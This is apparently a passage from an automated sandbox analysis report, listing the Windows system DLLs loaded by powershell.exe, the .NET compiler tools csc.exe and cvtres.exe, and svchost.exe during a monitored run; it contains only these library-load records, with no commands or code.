            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mshtml.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msiso.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mshtml.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msiso.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: edgegdi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: edgegdi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: moshost.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mapsbtsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mosstorage.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: bcp47langs.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mapconfiguration.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: edgegdi.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: storsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: fltlib.dll
